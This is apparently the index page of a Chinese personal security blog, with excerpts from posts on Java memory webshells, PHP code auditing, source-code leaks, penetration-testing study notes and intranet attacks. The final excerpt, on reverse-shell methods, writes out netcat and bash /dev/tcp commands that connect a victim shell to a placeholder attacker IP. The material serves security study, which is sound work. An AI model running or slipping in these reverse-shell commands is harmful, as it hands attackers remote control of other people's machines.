mX1@0_blog

2025-04-06 2.6k words 10 mins

JAVA内存马

JAVA内存马反射先来一个简单Dog类 12345678910111213141516171819202122package org.example;public class Dog { private String name; public int a; public int b; Dog(){} Dog(String name){ this.name = name; } void say(){ System.out.println(name + ":嗷嗷叫"); } void say(String massa

2024-10-14 2.8k words 12 mins

PHP代码审计

PHP代码审计代码审计流程1.反向查找流程通过可控变量(输入点)回溯危险函数查找危险函数确定可控变量传递的过程中触发漏洞反向漏洞挖掘特点根源：危险函数导致漏洞特点: 暴力：全局搜索危险函数简单：无需过多理解目标网站功能与架构快速：适用于自动化代码审计工具命中率低：简单的漏洞越来越少无法挖掘逻辑漏洞：逻辑漏洞多数不存在危险函数，或危险函数的参数“看似”不可控适应性较差：不适合存在全局过滤的站点 2.正向查找流程从入口点函数出发找到控制器，理解URL派发规则跟踪控制器调用，以理解代码为目标进行源码阅读阅读代码的过程中，可能发现漏洞正向漏洞挖掘特点根源：程序

2024-10-14 319 words 1 min

WEB源码泄露漏洞

WEB源码泄露漏洞常见的web源码泄露 git源码泄露 svn源码泄露 DS_Store 文件泄露网站备份压缩文件泄露 WEB-INF/web.xml 泄露 CVS泄露 hg源码泄漏 Bazaar/bzr泄露 SWP 文件泄露 env泄露 1.git 源码泄露 Git是一个开源的分布式版本控制系统，在执行git init初始化目录的时候，会在当前目录下自动创建一个.git目录，用来记录代码的变更记录等。发布代码的时候，如果没有把.git这个目录删除，就直接发布到了服务器上，攻击者就可以通过它来恢复源代码 .git目录结构如下: HEAD：这个git项目当前处在哪个分

2024-09-30 23.3k words 85 mins

深信服安全服务认证工程师学习笔记

深信服安全服务认证工程师学习笔记第一章网络安全基础第一部分网络安全基础第二部分操作系统配置与应用第三部分计算机网络原理与应用第二章网络渗透测试基础第一部分渗透测试概述2.1.1 渗透测试标准与流程渗透测试概述渗透测试渗透测试(Penetration Testing)是一种通过模拟攻击的技术与方法，挫败目标系统的安全控制措施并获得控制访问权的安全测试方法。网络渗透测试主要依据CVE(Common Vulnerabilities and Exposures)已经发现的安全漏洞，模拟入侵者的攻击方法对网站应用、服务器系统和网络设备进行非破坏性质的攻击性测试。 CVE

2024-09-23 10.7k words 42 mins

内网渗透

内网渗透内网基础知识工作组工作组：工作组是局域网中的一个概念，他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理，将不同的 computer 按照不同的要求分类到不同的组域域:用来描述一种架构，和“工作组”相对应，由工作组升级而来的高级架构，域 (Domain)是一个有安全边界的计算机集合（安全边界，意思是在两个域中，一个域中的用户无法访问另一个域中的资源）。可以简单的把域理解成升级版的“工作组”，相比工作组而言，它有一个**更加严格的安全管理控制机制**，如果你想访问域内的资源，就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用

2024-09-19 1.9k words 7 mins

反弹Shell方法

反弹Shell方法场景由于防火墙等的控制访问策略，客户端无法访问服务端，但服务端可以向外网发起请求 IP会动态变化，攻击机无法直接连接向局域网中的主机散播木马病毒等，网络环境未知的情况下服务端的AV对正向连接的流量检测非常严格，但是对出网流量校验不足反弹方式Netcat（nc）攻击机监听端口 1nc -lvp 2333 受害机执行反弹命令 1nc 攻击机IP 攻击机监听端口 -e /bin/bash Bash 攻击机监听端口 1nc -lvp 2333 在受害机执行： 1234567payload1：bash -i >& /dev/tcp/攻击机